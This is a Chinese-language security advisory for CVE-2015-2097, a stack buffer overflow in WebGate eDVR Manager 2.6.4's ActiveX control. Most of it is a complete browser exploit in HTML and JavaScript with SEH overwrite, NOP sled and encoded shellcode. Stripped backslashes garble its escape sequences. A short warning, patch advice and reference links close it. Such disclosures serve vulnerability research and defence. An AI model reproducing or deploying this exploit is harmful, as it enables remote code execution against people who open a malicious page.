WebGate eDVR Manager 2.6.4 Connect方法栈缓冲区溢出漏洞（CVE-2015-2097）

发布日期：2015-04-02
更新日期：2015-04-05受影响系统：
Webgate eDVR Manager 2.6.4
描述：
CVE（CAN） ID: CVE-2015-2097 WebGate eDVR Manager是eDVR设备管理器。WebGate Embedded Standard Protocol （WESP） SDK存在多个缓冲区溢出漏洞，远程攻击者利用此漏洞可执行任意代码。此漏洞位于WESPSerialPort.WESPSerialPortCtrl.1控件中。<*来源：rgod （rgod@autistici.org）
*>测试方法：警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<html>
<！--
# Exploit Title: WebGate eDVR Manager Connect Method Stack Buffer Overflow
# Date: 01st April, 2015
# Exploit Author: Praveen Darshanam
# Vendor Homepage: http://www.webgateinc.com/wgi/eng/
# Software Link: http://www.webgateinc.com/wgi_htdocs/eng/dcenter/view.php？id=wgi_eng&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=531&category_group=4&category_product=74&category=174
# Tested on: Windows XP SP3 using IE8
# CVE : 2015-2097 targetFile = "C:WINDOWSsystem32WESPSDKWESPSerialPort.dll"
prototype = "Sub Connect （ ByVal IPAddr As String , ByVal PortNum As Integer , ByVal UserID As String , ByVal Password As String ）"
progid = "WESPSERIALPORTLib.WESPSerialPortCtrl"
Tested on IE8
Author: Praveen Darshanam
http://blog.disects.com/
http://darshanams.blogspot.com/
P.S. Do not remove back slashes in shellcode and other variables
--> <object classid="clsid:BAAA6516-267C-466D-93F5-C504EF973837" id="target">
</object>
<script> var arg1="PraveenD";
var arg2=1;
var arg3= "";
var arg4="PraveenD"; var nops = "";
var shellcode = "";
var buff2 = ""; for （i=0; i<1664; i++）
{
arg3 += "B";
}
var nseh = "xebx10PD";
//WESPSerialPort.dll（0x100104e7 = pop pop ret）
var seh = "xe7x04x01x10";
for （i=0;i<80; i++）
{
nops += "x90";
}
shellcode = "x54x5dxdaxc9xd9x75xf4x59x49x49x49x49x49" +
"x43x43x43x43x43x43x51x5ax56x54x58x33x30" +
"x56x58x34x41x50x30x41x33x48x48x30x41x30" +
"x30x41x42x41x41x42x54x41x41x51x32x41x42" +
"x32x42x42x30x42x42x58x50x38x41x43x4ax4a" +
"x49x4bx4cx5ax48x4bx32x45x50x55x50x43x30" +
"x53x50x4bx39x4dx35x30x31x4fx30x52x44x4c" +
"x4bx56x30x46x50x4cx4bx31x42x34x4cx4cx4b" +
"x31x42x44x54x4cx4bx32x52x47x58x54x4fx38" +
"x37x50x4ax37x56x46x51x4bx4fx4ex4cx57x4c" +
"x35x31x33x4cx33x32x46x4cx37x50x49x51x48" +
"x4fx34x4dx45x51x4fx37x4dx32x4ax52x36x32" +
"x46x37x4cx4bx36x32x32x30x4cx4bx30x4ax37" +
"x4cx4cx4bx30x4cx32x31x54x38x5ax43x51x58" +
"x33x31x4ex31x30x51x4cx4bx36x39x47x50x53" +
"x31x48x53x4cx4bx30x49x35x48x5ax43x36x5a" +
"x57x39x4cx4bx46x54x4cx4bx33x31x49x46x56" +
"x51x4bx4fx4ex4cx49x51x38x4fx54x4dx35x51" +
"x58x47x37x48x4dx30x34x35x4ax56x43x33x43" +
"x4dx5ax58x37x4bx43x4dx46x44x43x45x4dx34" +
"x56x38x4cx4bx56x38x31x34x43x31x4ex33x42" +
"x46x4cx4bx44x4cx30x4bx4cx4bx36x38x45x4c" +
"x45x51x4ex33x4cx4bx54x44x4cx4bx33x31x48" +
"x50x4cx49x57x34x36x44x51x34x51x4bx51x4b" +
"x33x51x30x59x50x5ax36x31x4bx4fx4bx50x31" +
"x4fx51x4fx51x4ax4cx4bx42x32x5ax4bx4cx4d" +
"x31x4dx53x5ax35x51x4cx4dx4cx45x58x32x43" +
"x30x53x30x55x50x56x30x42x48x50x31x4cx4b" +
"x42x4fx4dx57x4bx4fx59x45x4fx4bx5ax50x48" +
"x35x4fx52x30x56x53x58x4ex46x5ax35x4fx4d" +
"x4dx4dx4bx4fx38x55x47x4cx53x36x33x4cx45" +
"x5ax4bx30x4bx4bx4bx50x43x45x43x35x4fx4b" +
"x47x37x32x33x53x42x42x4fx42x4ax55x50x46" +
"x33x4bx4fx49x45x43x53x53x51x52x4cx52x43" +
"x36x4ex55x35x44x38x33x55x33x30x41x41";
for （i=0;i<（8000 - （arg3.length + nseh.length + seh.length + nops.length + shellcode.length））; i++）
{
buff2 += "A";
} fbuff = arg3 + nseh + seh + nops + shellcode + buff2;
target.Connect（arg1, arg2, fbuff ,arg4）; </script>
</html>建议：
厂商补丁：Webgate
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：http://www.webgateinc.com/wgi_htdocs/eng/dcenter/view.php？id=wgi_eng&page=1&sn1=&divpage=1&sn=off&ss参考：http://seclists.org/fulldisclosure/2015/Feb/90
http://www.zerodayinitiative.com/advisories/ZDI-15-059/
http://www.zerodayinitiative.com/advisories/ZDI-15-062/
http://www.zerodayinitiative.com/advisories/ZDI-15-068/